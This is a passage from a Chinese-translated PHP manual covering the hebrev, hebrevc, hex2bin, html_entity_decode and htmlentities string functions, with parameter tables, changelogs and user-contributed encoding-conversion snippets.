without heavy scientific analysis, this seems to work as a quick fix to making text originating from a Microsoft Word document display as HTML:

<?php
function DoHTMLEntities ($string)
    {
        $trans_tbl = get_html_translation_table (HTML_ENTITIES);

        // MS Word strangeness..
        // smart single/ double quotes:
        $trans_tbl[chr(145)] = '\'';
        $trans_tbl[chr(146)] = '\'';
        $trans_tbl[chr(147)] = '&quot;';
        $trans_tbl[chr(148)] = '&quot;';

                // Acute 'e'
        $trans_tbl[chr(142)] = '&eacute;';

        return strtr ($string, $trans_tbl);
    }
?>
alan at akbkhome dot com 03-Jun-2002 10:00
If you want to decode all those &#123; symbols as well....

function unhtmlentities ($string)  {
    $trans_tbl = get_html_translation_table (HTML_ENTITIES);
    $trans_tbl = array_flip ($trans_tbl);
    $ret = strtr ($string, $trans_tbl);
    return  preg_replace('/\&\#([0-9]+)\;/me',
        "chr('\\1')",$ret);
}
dirk at hartmann dot net 19-Jun-2001 01:41
get_html_translation_table
It works only with the first 256 Codepositions.
For Higher Positions, for Example &#1092;
(a kyrillic Letter) it shows the same.


将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew）

  • ? get_html_translation_table
  • hebrevc ?
  • PHP Manual
  • 字符串 函数
  • 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew）

hebrev

(PHP 4, PHP 5, PHP 7)

hebrev — 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew）

说明

hebrev ( string $hebrew_text [, int $max_chars_per_line = 0 ] ) : string

将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew）

函数将会尝试避免破坏单词。

参数

hebrew_text

逻辑顺序希伯来文字符串。

max_chars_per_line

可选参数，表示每行可返回的最多字符数。

返回值

返回视觉顺序字符串。

参见

  • hebrevc() - 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew），并且转换换行符

User Contributed Notes

udioron at geeee mmmaaaaiiillll dotcom 01-Jan-2009 05:14
This might work for unicode strings:

<?php
$s = iconv("ISO-8859-8", "UTF-8", hebrev(iconv("UTF-8", "ISO-8859-8", $s)));
?>

Udi
tinko 14-Dec-2004 03:46
From my experience in using hebrev text in HTML, I prefer using

<html dir="rtl" lang="he">

over mentioned PHP functions. It works perfectly with IE 6 ... needs some tweaking in Mozilla though.

I found this site http://tlt.its.psu.edu/suggestions/international/web/tips/align.html useful.
socket at linuxloony dot net 03-Apr-2004 06:17
The hebrev function changes the string order to RTL.
Use fribidi_log2vis insted if you need LTR text direction
$text = fribidi_log2vis($text,FRIBIDI_LTR, FRIBIDI_CHARSET_CP1255)
zak at php dot net 09-Jan-2001 03:39
hebrev() changes the flow of any Hebrew characters in a string from right-to-left to left-to-right.

It only affects characters within the range of ASCII 224-251 (except for punctuation).


将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew），并且转换换行符

  • ? hebrev
  • hex2bin ?
  • PHP Manual
  • 字符串 函数
  • 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew），并且转换换行符

hebrevc

(PHP 4, PHP 5, PHP 7)

hebrevc — 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew），并且转换换行符

说明

hebrevc ( string $hebrew_text [, int $max_chars_per_line = 0 ] ) : string

本函数与hebrev() 一样，唯一的区别是 本函数会额外将换行符(\n)转换为"<br>\n"。

函数将会尝试避免破坏单词。

参数

hebrew_text

逻辑顺序希伯来文字符串。

max_chars_per_line

可选参数，表示每行可返回的最多字符数。

返回值

返回视觉顺序字符串。

参见

  • hebrev() - 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew）

User Contributed Notes

Oded 03-Jul-2009 03:57
If you want to use hebrevc with english,
just use strrev.
yfurman at yahoo dot com 10-Dec-2001 04:41
Beware of English use!
I was working on a little project, and used hebrevc to reverse Hebrew in a loop. The hebrevc function got a variable as an argument. Sometimes the variable was pure English and sometimes it was hebrew.
Suddenly I found out that the English too was cut with BR tags, which made it look funny - the last line was the first.

If you're going to use that function in mixed text, don't forget to check the language before using the function.

Yael


转换十六进制字符串为二进制字符串

  • ? hebrevc
  • html_entity_decode ?
  • PHP Manual
  • 字符串 函数
  • 转换十六进制字符串为二进制字符串

hex2bin

(PHP 5 >= 5.4.0, PHP 7)

hex2bin — 转换十六进制字符串为二进制字符串

说明

hex2bin ( string $data ) : string

转换十六进制字符串为二进制字符串。

Caution

这个函数不是 转换十六进制数字为二进制数字。这种转换可以使用base_convert() 函数。

参数

data

十六进制表示的数据

返回值

返回给定数据的二进制表示 或者在失败时返回 FALSE。

错误／异常

如果输入的十六进制字符串是奇数长数或者无效的十六进制字符串将会抛出 E_WARNING 级别的错误。

更新日志

版本 | 说明
5.5.1 | 如果输入的字符串是无效的十六进制字符串则抛出一个警告，
5.4.4 | 如果输入的字符串有多余将抛出异常。 PHP 5.4.0 起字符串将被静默地接受，但是最后的字节会被截断。

范例

Example #1 hex2bin() 例子

<?php
$hex = hex2bin("6578616d706c65206865782064617461");
var_dump($hex);
?>

以上例程的输出类似于：

string(16) "example hex data"

参见

  • bin2hex() - 函数把包含数据的二进制字符串转换为十六进制值
  • unpack() - Unpack data from binary string

User Contributed Notes

JLovrek 28-Nov-2017 02:14
replace

function Hex2Bin($data) {
    $BinData = "";
    for ($i=0;$i<strlen($data);$i+=2)
        $BinData .= chr( HexDec( substr($data,$i,2) ) );
    return $BinData;

With

function hextobin($hexstr)
    {
        $n = strlen($hexstr);
        $sbin="";
        $i=0;
        while($i<$n)
        {
            $a =substr($hexstr,$i,2);
            $c = pack("H*",$a);
            if ($i==0){$sbin=$c;}
            else {$sbin.=$c;}
            $i+=2;
        }
        return $sbin;
iradu at unix-world dot org 15-Jan-2016 01:38
$test = bin2hex('sample ...');
echo _hex2bin($test);

// another hex2bin replacement
function _hex2bin($result) {
    $out = '';
    for($c=0;$c<strlen($result);$c+=2) {
        $out .= chr(hexdec($result[$c].$result[$c+1]));
    } //end for
    return (string) $out;
}
EM 11-Jun-2014 10:14
Ran into an interesting case with hex2bin and php5.5.12 while upgrading from 5.3.3 -> 5.5.12

The previous code had redeclared the hex2bin function with the $binary_string = pack("H*" , $hex_string) trick.

php5.5.12 would have none of that. The solution, albeit a hacky one, was doing a find an replace of hex2bin to 'hex3bin' for the whole site directory.
carschrotter at gmail dot com 01-Nov-2013 02:19
Case of an incomplete hex string following function may help:
<?php
function make2validhex($data){
    $data = (string) $data;
    $len = strlen($data);
    if($len % 2) {
        return substr($data, 0, $len -1);
    }
    return $data;
}
?>
test:
<?php
$string="not complete";
echo $string;
echo PHP_EOL;
$hex = bin2hex($string); //"6e6f7420636f6d706c657465"
echo $hex;
echo PHP_EOL;
$deff = substr ($hex, 0, strlen($hex) -1);//"6e6f7420636f6d706c65746"
echo $deff;
echo PHP_EOL;
echo hex2bin(make2validhex($deff)); //"not complet"
echo PHP_EOL;
?>
walf 16-Oct-2013 04:41
A drop-in hex2bin emulator which behaves just like the the one in v5.5.1.

<?php
if (!function_exists('hex2bin')) {
    function hex2bin($data) {
        static $old;
        if ($old === null) {
            $old = version_compare(PHP_VERSION, '5.2', '<');
        }
        $isobj = false;
        if (is_scalar($data) || (($isobj = is_object($data)) && method_exists($data, '__toString'))) {
            if ($isobj && $old) {
                ob_start();
                echo $data;
                $data = ob_get_clean();
            }
            else {
                $data = (string) $data;
            }
        }
        else {
            trigger_error(__FUNCTION__.'() expects parameter 1 to be string, ' . gettype($data) . ' given', E_USER_WARNING);
            return;//null in this case
        }
        $len = strlen($data);
        if ($len % 2) {
            trigger_error(__FUNCTION__.'(): Hexadecimal input string must have an even length', E_USER_WARNING);
            return false;
        }
        if (strspn($data, '0123456789abcdefABCDEF') != $len) {
            trigger_error(__FUNCTION__.'(): Input string must be hexadecimal string', E_USER_WARNING);
            return false;
        }
        return pack('H*', $data);
    }
}
?>
jannik [dot] zappe [at] udo [dot] edu 23-Aug-2013 12:00
I modified the function by Johnson a bit so it can be used as a drop-in-replacement. You don't need to worry about upgrading php because when it is upgraded, it will use the build in function.

<?php
if ( !function_exists( 'hex2bin' ) ) {
    function hex2bin( $str ) {
        $sbin = "";
        $len = strlen( $str );
        for ( $i = 0; $i < $len; $i += 2 ) {
            $sbin .= pack( "H*", substr( $str, $i, 2 ) );
        }

        return $sbin;
    }
}
?>
Johnson 01-Jan-2013 12:23
For those who have php version prior to 5.4, i have a solution to convert hex to binary. It works for me in an encryption and decryption application.

<?php
        function hextobin($hexstr)
    {
        $n = strlen($hexstr);
        $sbin="";
        $i=0;
        while($i<$n)
        {
            $a =substr($hexstr,$i,2);
            $c = pack("H*",$a);
            if ($i==0){$sbin=$c;}
            else {$sbin.=$c;}
            $i+=2;
        }
        return $sbin;
    }
?>
jarismar dot php at gmail dot com 17-Dec-2012 01:13
A way to convert hex strings in the form "0x123ABC" to integer is to use the function base_convert("0x123ABC", 16, 10)
Anonymous 23-Feb-2012 02:28
The function pack("H*" , $hex_string); will not work as expected if $hex_string contains an odd number of hexadecimal digits.

For example:

<?php echo ord(pack("H*", 'F')); ?>

will return 240 not 15. Use pack("H*", '0F'); instead.
Anonymous 31-Aug-2011 01:32
The function hex2bin does not exist in PHP5.
You can use 'pack' instead :

$binary_string = pack("H*" , $hex_string);


Convert HTML entities to their corresponding characters

  • ? hex2bin
  • htmlentities ?
  • PHP Manual
  • 字符串 函数
  • Convert HTML entities to their corresponding characters

html_entity_decode

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

html_entity_decode — Convert HTML entities to their corresponding characters

说明

html_entity_decode ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") ]] ) : string

html_entity_decode() is the opposite of htmlentities() in that it converts HTML entities in the string to their corresponding characters.

More precisely, this function decodes all the entities (including all numeric entities) that a) are necessarily valid for the chosen document type — i.e., for XML, this function does not decode named entities that might be defined in some DTD — and b) whose character or characters are in the coded character set associated with the chosen encoding and are permitted in the chosen document type. All other entities are left as is.

参数

string

The input string.

flags

A bitmask of one or more of the following flags, which specify how to handle quotes and which document type to use. The default is ENT_COMPAT | ENT_HTML401.

Available flags constants
Constant Name | Description
ENT_COMPAT | Will convert double-quotes and leave single-quotes alone.
ENT_QUOTES | Will convert both double and single quotes.
ENT_NOQUOTES | Will leave both double and single quotes unconverted.
ENT_HTML401 | Handle code as HTML 4.01.
ENT_XML1 | Handle code as XML 1.
ENT_XHTML | Handle code as XHTML.
ENT_HTML5 | Handle code as HTML 5.

encoding

An optional argument defining the encoding used when converting characters.

If omitted, the default value of the encoding varies depending on the PHP version in use. In PHP 5.6 and later, the default_charset configuration option is used as the default value. PHP 5.4 and 5.5 will use UTF-8 as the default. Earlier versions of PHP use ISO-8859-1.

Although this argument is technically optional, you are highly encouraged to specify the correct value for your code if you are using PHP 5.5 or earlier, or if your default_charset configuration option may be set incorrectly for the given input.

支持以下字符集：

支持的字符集列表
字符集 | 别名 | 描述
ISO-8859-1 | ISO8859-1 | 西欧，Latin-1
ISO-8859-5 | ISO8859-5 | Little used cyrillic charset (Latin/Cyrillic).
ISO-8859-15 | ISO8859-15 | 西欧，Latin-9。增加欧元符号，法语和芬兰语字母在 Latin-1(ISO-8859-1) 中缺失。
UTF-8 | ASCII 兼容的多字节 8 位 Unicode。
cp866 | ibm866, 866 | DOS 特有的西里尔编码。本字符集在 4.3.2 版本中得到支持。
cp1251 | Windows-1251, win-1251, 1251 | Windows 特有的西里尔编码。本字符集在 4.3.2 版本中得到支持。
cp1252 | Windows-1252, 1252 | Windows 特有的西欧编码。
KOI8-R | koi8-ru, koi8r | 俄语。本字符集在 4.3.2 版本中得到支持。
BIG5 | 950 | 繁体中文，主要用于中国台湾省。
GB2312 | 936 | 简体中文，中国国家标准字符集。
BIG5-HKSCS | 繁体中文，附带香港扩展的 Big5 字符集。
Shift_JIS | SJIS, 932 | 日语
EUC-JP | EUCJP | 日语
MacRoman | Mac OS 使用的字符串。
'' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended.

Note: 其他字符集没有认可。将会使用默认编码并抛出异常。

返回值

Returns the decoded string.

更新日志

版本 | 说明
5.6.0 | The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
5.4.0 | Default encoding changed from ISO-8859-1 to UTF-8.
5.4.0 | The constants ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.

范例

Example #1 Decoding HTML entities

<?php
$orig = "I'll \"walk\" the <b>dog</b> now";

$a = htmlentities($orig);

$b = html_entity_decode($a);

echo $a; // I'll &quot;walk&quot; the &lt;b&gt;dog&lt;/b&gt; now

echo $b; // I'll "walk" the <b>dog</b> now
?>

注释

Note:

You might wonder why trim(html_entity_decode('&nbsp;')); doesn't reduce the string to an empty string, that's because the '&nbsp;' entity is not ASCII code 32 (which is stripped by trim()) but ASCII code 160 (0xa0) in the default ISO 8859-1 encoding.

参见

  • htmlentities() - 将字符转换为 HTML 转义字符
  • htmlspecialchars() - 将特殊字符转换为 HTML 实体
  • get_html_translation_table() - 返回使用 htmlspecialchars 和 htmlentities 后的转换表
  • urldecode() - 解码已编码的 URL 字符串

User Contributed Notes

Daniel A. 03-Aug-2018 03:34
I wanted to use this function today and I found the documentation, especially about the flags, not particularly helpful.

Running the code below, for example, failed because the flag I used was the wrong one...

$string = 'Donna&#039;s Bakery';
$title = html_entity_decode($string, ENT_HTML401, 'UTF-8');
echo $title;

The correct flag to use in this case is ENT_QUOTES.

My understanding of the flag to use is the one that would correspond to the expected, converted outcome. So, ENT_QUOTES for a character that would be a single or double quote when converted... and so on.

Please help make the documentation a bit clearer.
slickriptide at gmail dot com 07-Oct-2016 03:54
When using this function, it's a good idea to pay attention when it says that leaving the charset parameter empty is "not recommended".

I had an issue where I was storing text files, with entities converted, into a database. When I retrieved them later and ran

$text_file = html_entity_decode($text_data);

the entities were NOT decoded.

Once I was aware of the problem, I changed the decode call to fully specify all of the parameters:

$text_file = html_entity_decode($text_data, ENT_COMPAT | ENT_HTML5,'utf-8');

This converted the entities as expected.
txnull 25-Aug-2015 08:06
Use the following to decode all entities:
<?php html_entity_decode($string, ENT_QUOTES | ENT_XML1, 'UTF-8') ?>

I've checked these special entities:
- double quotes (&#34;)
- single quotes (&#39; and &apos;)
- non printable chars (e.g. &#13;)
With other $flags some or all won't be decoded.

It seems that ENT_XML1 and ENT_XHTML are identical when decoding.
Benjamin 05-Apr-2013 11:07
The following function decodes named and numeric HTML entities and works on UTF-8. Requires iconv.

function decodeHtmlEnt($str) {
    $ret = html_entity_decode($str, ENT_COMPAT, 'UTF-8');
    $p2 = -1;
    for(;;) {
        $p = strpos($ret, '&#', $p2+1);
        if ($p === FALSE)
            break;
        $p2 = strpos($ret, ';', $p);
        if ($p2 === FALSE)
            break;

        if (substr($ret, $p+2, 1) == 'x')
            $char = hexdec(substr($ret, $p+3, $p2-$p-3));
        else
            $char = intval(substr($ret, $p+2, $p2-$p-2));

        //echo "$char\n";
        $newchar = iconv(
            'UCS-4', 'UTF-8',
            chr(($char>>24)&0xFF).chr(($char>>16)&0xFF).chr(($char>>8)&0xFF).chr($char&0xFF)
        );
        //echo "$newchar<$p<$p2<<\n";
        $ret = substr_replace($ret, $newchar, $p, 1+$p2-$p);
        $p2 = $p + strlen($newchar);
    }
    return $ret;
}
Victor 14-Dec-2011 06:22
We were having very peculiar behavior regarding foreign characters such as e-acute.

However, it was only showing up as a problem when extracting those characters out of our mysql database and when being displayed through a proxy server of ours that handles dns issues.

As other users have made a note of, the default character setting wasn't what they were expecting it to be when they left theirs blank.

When we changed our default_charset to "UTF-8", our problems and needs for using functions like these were no longer necessary in handling foreign characters such as e-acute. Good enough for us!
Martin 26-Jun-2011 04:37
If you need something that converts &#[0-9]+ entities to UTF-8, this is simple and works:

<?php
/* Entity crap. /
$input = "Fovi&#269;";

$output = preg_replace_callback("/(&#[0-9]+;)/", function($m) { return mb_convert_encoding($m[1], "UTF-8", "HTML-ENTITIES"); }, $input);

/* Plain UTF-8. */
echo $output;
?>
neurotic dot neu at gmail dot com 10-Aug-2010 12:25
This is a safe rawurldecode with utf8 detection:

<?php
function utf8_rawurldecode($raw_url_encoded){
    $enc = rawurldecode($raw_url_encoded);
    if(utf8_encode(utf8_decode($enc))==$enc){;
        return rawurldecode($raw_url_encoded);
    }else{
        return utf8_encode(rawurldecode($raw_url_encoded));
    }
}
?>
Free at Key dot no 01-Jul-2010 05:51
Handy function to convert remaining HTML-entities into human readable chars (for entities which do not exist in target charset):

<?php
function cleanString($in,$offset=null)
{
    $out = trim($in);
    if (!empty($out))
    {
        $entity_start = strpos($out,'&',$offset);
        if ($entity_start === false)
        {
            // ideal
            return $out;
        }
        else
        {
            $entity_end = strpos($out,';',$entity_start);
            if ($entity_end === false)
            {
                 return $out;
            }
            // zu lang um eine entity zu sein
            else if ($entity_end > $entity_start+7)
            {
                 // und weiter gehts
                 $out = cleanString($out,$entity_start+1);
            }
            // gottcha!
            else
            {
                 $clean = substr($out,0,$entity_start);
                 $subst = substr($out,$entity_start+1,1);
                 // &scaron; => "s" / &#353; => "_"
                 $clean .= ($subst != "#") ? $subst : "_";
                 $clean .= substr($out,$entity_end+1);
                 // und weiter gehts
                 $out = cleanString($clean,$entity_start+1);
            }
        }
    }
    return $out;
}
?>
Matt Robinson 06-Sep-2009 02:11
I wrote in a previous comment that html_entity_decode() only handled about 100 characters. That's not quite true; it only handles entities that exist in the output character set (the third argument). If you want to get ALL HTML entities, make sure you use ENT_QUOTES and set the third argument to 'UTF-8'.

If you don't want a UTF-8 string, you'll need to convert it afterward with something like utf8_decode(), iconv(), or mb_convert_encoding().

If you're producing XML, which doesn't recognise most HTML entities:

When producing a UTF-8 document (the default), then htmlspecialchars(html_entity_decode($string, ENT_QUOTES, 'UTF-8'), ENT_NOQUOTES, 'UTF-8') (because you only need to escape < and > and & unless you're printing inside the XML tags themselves).

Otherwise, either convert all the named entities to numeric ones, or declare the named entities in the document's DTD. The full list of 252 entities can be found in the HTML 4.01 Spec, or you can cut and paste the function from my site (http://inanimatt.com/php-convert-entities.php).
marion at figmentthinking dot com 10-Mar-2009 05:11
I just ran into the:
Bug #27626 html_entity_decode bug - cannot yet handle MBCS in html_entity_decode()!

The simple solution if you're still running PHP 4 is to wrap the html_entity_decode() function with the utf8_decode() function.

<?php
$string = '&nbsp;';
$utf8_encode = utf8_encode(html_entity_decode($string));
?>

By default html_entity_decode() returns the ISO-8859-1 character set, and by default utf8_decode()...

http://us.php.net/manual/en/function.utf8-decode.php
"Converts a string with ISO-8859-1 characters encoded with UTF-8 to single-byte ISO-8859-1"
jl dot garcia at gmail dot com 04-Mar-2009 03:33
I created this function to filter all the text that goes in or comes out of the database.

<?php
function filter_string($string, $nohtml='', $save='') {
    if(!empty($nohtml)) {
        $string = trim($string);
        if(!empty($save)) $string = htmlentities(trim($string), ENT_QUOTES, 'ISO-8859-15');
        else $string = html_entity_decode($string, ENT_QUOTES, 'ISO-8859-15');
    }
    if(!empty($save)) $string = mysql_real_escape_string($string);
    else $string = stripslashes($string);
    return($string);
}
?>
kae at verens dot com 09-May-2008 06:11
the references to 'chr()' in the example unhtmlentities() function should be changed to unichr, using the example unichr() function described in the 'chr' reference (http://php.net/chr).

the reason for this is characters such as &#x20AC; which do not break down into an ASCII number (that's the Euro, by the way).
me at richardsnazell dot com 21-Jan-2008 04:19
I had a problem getting the 'TM' trademark symbol to display correctly in an email subject line. Using html_entity_decode() with different charsets didn't work, but directly replacing the entity with it's ASCII equivalent did:

$subject = str_replace('&trade;', chr(153), $subject);
jojo 03-Nov-2006 08:27
The decipherment does the character encoded by the escape function of JavaScript.
When the multi byte is used on the page, it is effective.

javascript escape('aaああaa') ..... 'aa%u3042%u3042aa'
php  jsEscape_decode('aa%u3042%u3042aa')..'aaああaa'

<?php
function jsEscape_decode($jsEscaped,$outCharCode='SJIS'){
    $arrMojis = explode("%u",$jsEscaped);
    for ($i = 1;$i < count($arrMojis);$i++){
        $c = substr($arrMojis[$i],0,4);
        $cc = mb_convert_encoding(pack('H*',$c),$outCharCode,'UTF-16');
        $arrMojis[$i] = substr_replace($arrMojis[$i],$cc,0,4);
    }
    return implode('',$arrMojis);
}
?>
grvg (at) free (dot) fr 29-Jul-2006 09:44
Here is the ultimate functions to convert HTML entities to UTF-8 :
The main function is htmlentities2utf8
Others are helper functions

<?php
function chr_utf8($code)
    {
        if ($code < 0) return false;
        elseif ($code < 128) return chr($code);
        elseif ($code < 160) // Remove Windows Illegals Cars
        {
            if ($code==128) $code=8364;
            elseif ($code==129) $code=160; // not affected
            elseif ($code==130) $code=8218;
            elseif ($code==131) $code=402;
            elseif ($code==132) $code=8222;
            elseif ($code==133) $code=8230;
            elseif ($code==134) $code=8224;
            elseif ($code==135) $code=8225;
            elseif ($code==136) $code=710;
            elseif ($code==137) $code=8240;
            elseif ($code==138) $code=352;
            elseif ($code==139) $code=8249;
            elseif ($code==140) $code=338;
            elseif ($code==141) $code=160; // not affected
            elseif ($code==142) $code=381;
            elseif ($code==143) $code=160; // not affected
            elseif ($code==144) $code=160; // not affected
            elseif ($code==145) $code=8216;
            elseif ($code==146) $code=8217;
            elseif ($code==147) $code=8220;
            elseif ($code==148) $code=8221;
            elseif ($code==149) $code=8226;
            elseif ($code==150) $code=8211;
            elseif ($code==151) $code=8212;
            elseif ($code==152) $code=732;
            elseif ($code==153) $code=8482;
            elseif ($code==154) $code=353;
            elseif ($code==155) $code=8250;
            elseif ($code==156) $code=339;
            elseif ($code==157) $code=160; // not affected
            elseif ($code==158) $code=382;
            elseif ($code==159) $code=376;
        }
        if ($code < 2048) return chr(192 | ($code >> 6)) . chr(128 | ($code & 63));
        elseif ($code < 65536) return chr(224 | ($code >> 12)) . chr(128 | (($code >> 6) & 63)) . chr(128 | ($code & 63));
        else return chr(240 | ($code >> 18)) . chr(128 | (($code >> 12) & 63)) . chr(128 | (($code >> 6) & 63)) . chr(128 | ($code & 63));
    }

    // Callback for preg_replace_callback('~&(#(x?))?([^;]+);~', 'html_entity_replace', $str);
    function html_entity_replace($matches)
    {
        if ($matches[2])
        {
            return chr_utf8(hexdec($matches[3]));
        } elseif ($matches[1])
        {
            return chr_utf8($matches[3]);
        }
        switch ($matches[3])
        {
            case "nbsp": return chr_utf8(160);
            case "iexcl": return chr_utf8(161);
            case "cent": return chr_utf8(162);
            case "pound": return chr_utf8(163);
            case "curren": return chr_utf8(164);
            case "yen": return chr_utf8(165);
            //... etc with all named HTML entities
        }
        return false;
    }

    function htmlentities2utf8 ($string) // because of the html_entity_decode() bug with UTF-8
    {
        $string = preg_replace_callback('~&(#(x?))?([^;]+);~', 'html_entity_replace', $string);
        return $string;
    }
?>
florianborn (at) yahoo (dot) de 20-Jul-2005 03:43
Note that

<?php

 echo urlencode(html_entity_decode("&nbsp;"));

?>

will output "%A0" instead of "+".
php dot net at c dash ovidiu dot tk 18-Mar-2005 12:37
Quick & dirty code that translates numeric entities to UTF-8.

<?php

    function replace_num_entity($ord)
    {
        $ord = $ord[1];
        if (preg_match('/^x([0-9a-f]+)$/i', $ord, $match))
        {
            $ord = hexdec($match[1]);
        }
        else
        {
            $ord = intval($ord);
        }

        $no_bytes = 0;
        $byte = array();

        if ($ord < 128)
        {
            return chr($ord);
        }
        elseif ($ord < 2048)
        {
            $no_bytes = 2;
        }
        elseif ($ord < 65536)
        {
            $no_bytes = 3;
        }
        elseif ($ord < 1114112)
        {
            $no_bytes = 4;
        }
        else
        {
            return;
        }

        switch($no_bytes)
        {
            case 2:
            {
                $prefix = array(31, 192);
                break;
            }
            case 3:
            {
                $prefix = array(15, 224);
                break;
            }
            case 4:
            {
                $prefix = array(7, 240);
            }
        }

        for ($i = 0; $i < $no_bytes; $i++)
        {
            $byte[$no_bytes - $i - 1] = (($ord & (63 * pow(2, 6 * $i))) / pow(2, 6 * $i)) & 63 | 128;
        }

        $byte[0] = ($byte[0] & $prefix[0]) | $prefix[1];

        $ret = '';
        for ($i = 0; $i < $no_bytes; $i++)
        {
            $ret .= chr($byte[$i]);
        }

        return $ret;
    }

    $test = 'This is a &#269;&#x5d0; test&#39;';

    echo $test . "<br />\n";
    echo preg_replace_callback('/&#([0-9a-fx]+);/mi', 'replace_num_entity', $test);

?>
daniel at brightbyte dot de 13-Nov-2004 06:12
This function seems to have to have two limitations (at least in PHP 4.3.8):

a) it does not work with multibyte character codings, such as UTF-8
b) it does not decode numeric entity references

a) can be solved by using iconv to convert to ISO-8859-1, then decoding the entities, than convert to UTF-8 again. But that's quite ugly and detroys all characters not present in Latin-1.

b) can be solved rather nicely using the following code:

<?php
function decode_entities($text) {
    $text= html_entity_decode($text,ENT_QUOTES,"ISO-8859-1"); #NOTE: UTF-8 does not work!
    $text= preg_replace('/&#(\d+);/me',"chr(\\1)",$text); #decimal notation
    $text= preg_replace('/&#x([a-f0-9]+);/mei',"chr(0x\\1)",$text);  #hex notation
    return $text;
}
?>

HTH
aidan at php dot net 14-Sep-2004 12:57
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


将字符转换为 HTML 转义字符

  • ? html_entity_decode
  • htmlspecialchars_decode ?
  • PHP Manual
  • 字符串 函数
  • 将字符转换为 HTML 转义字符

htmlentities

(PHP 4, PHP 5, PHP 7)

htmlentities — 将字符转换为 HTML 转义字符

说明

htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] ) : string

本函数各方面都和 htmlspecialchars() 一样， 除了 htmlentities() 会转换所有具有 HTML 实体的字符。

如果要解码（反向操作），可以使用 html_entity_decode()。

参数

string

输入字符。

flags

以下一组位掩码标记，用于设置如何处理引号、无效代码序列、使用文档的类型。 默认是 ENT_COMPAT | ENT_HTML401。

有效 flags 标记常量
常量名 | 描述
ENT_COMPAT | 会转换双引号，不转换单引号。
ENT_QUOTES | 既转换双引号也转换单引号。
ENT_NOQUOTES | 单/双引号都不转换
ENT_IGNORE | 静默丢弃无效的代码单元序列，而不是返回空字符串。 不建议使用此标记， 因为它» 可能有安全影响。
ENT_SUBSTITUTE | 替换无效的代码单元序列为 Unicode 代替符（Replacement Character）， U+FFFD (UTF-8) 或者 &#xFFFD; (其他)，而不是返回空字符串。
ENT_DISALLOWED | 为文档的无效代码点替换为 Unicode 代替符（Replacement Character）： U+FFFD (UTF-8)，或 &#xFFFD;（其他），而不是把它们留在原处。 比如以下情况下就很有用：要保证 XML 文档嵌入额外内容时格式合法。
ENT_HTML401 | 以 HTML 4.01 处理代码。
ENT_XML1 | 以 XML 1 处理代码。
ENT_XHTML | 以 XHTML 处理代码。
ENT_HTML5 | 以 HTML 5 处理代码。

encoding

An optional argument defining the encoding used when converting characters.

If omitted, the default value of the encoding varies depending on the PHP version in use. In PHP 5.6 and later, the default_charset configuration option is used as the default value. PHP 5.4 and 5.5 will use UTF-8 as the default. Earlier versions of PHP use ISO-8859-1.

Although this argument is technically optional, you are highly encouraged to specify the correct value for your code if you are using PHP 5.5 or earlier, or if your default_charset configuration option may be set incorrectly for the given input.

支持以下字符集：

支持的字符集列表
字符集 | 别名 | 描述
ISO-8859-1 | ISO8859-1 | 西欧，Latin-1
ISO-8859-5 | ISO8859-5 | Little used cyrillic charset (Latin/Cyrillic).
ISO-8859-15 | ISO8859-15 | 西欧，Latin-9。增加欧元符号，法语和芬兰语字母在 Latin-1(ISO-8859-1) 中缺失。
UTF-8 | ASCII 兼容的多字节 8 位 Unicode。
cp866 | ibm866, 866 | DOS 特有的西里尔编码。本字符集在 4.3.2 版本中得到支持。
cp1251 | Windows-1251, win-1251, 1251 | Windows 特有的西里尔编码。本字符集在 4.3.2 版本中得到支持。
cp1252 | Windows-1252, 1252 | Windows 特有的西欧编码。
KOI8-R | koi8-ru, koi8r | 俄语。本字符集在 4.3.2 版本中得到支持。
BIG5 | 950 | 繁体中文，主要用于中国台湾省。
GB2312 | 936 | 简体中文，中国国家标准字符集。
BIG5-HKSCS | 繁体中文，附带香港扩展的 Big5 字符集。
Shift_JIS | SJIS, 932 | 日语
EUC-JP | EUCJP | 日语
MacRoman | Mac OS 使用的字符串。
'' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended.

Note: 其他字符集没有认可。将会使用默认编码并抛出异常。

double_encode

关闭 double_encode 时，PHP 不会转换现有的 HTML 实体， 默认是全部转换。

返回值

返回编码后的字符。

如果指定的编码 encoding 里， string 包含了无效的代码单元序列， 没有设置 ENT_IGNORE 或者 ENT_SUBSTITUTE 标记的情况下，会返回空字符串。

更新日志

版本 | 说明
5.6.0 | The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
5.4.0 | encoding 参数的默认值改成 UTF-8。
5.4.0 | 增加常量 ENT_SUBSTITUTE、 ENT_DISALLOWED、 ENT_HTML401、 ENT_XML1、 ENT_XHTML、 ENT_HTML5。
5.3.0 | 增加常量 ENT_IGNORE。
5.2.3 | 增加参数 double_encode。

范例

Example #1 htmlentities() 例子

<?php
$str = "A 'quote' is <b>bold</b>";

// 输出: A 'quote' is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str);

// 输出: A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str, ENT_QUOTES);
?>

Example #2 ENT_IGNORE 用法示例

<?php
$str = "\x8F!!!";

// 输出空 string
echo htmlentities($str, ENT_QUOTES, "UTF-8");

// 输出 "!!!"
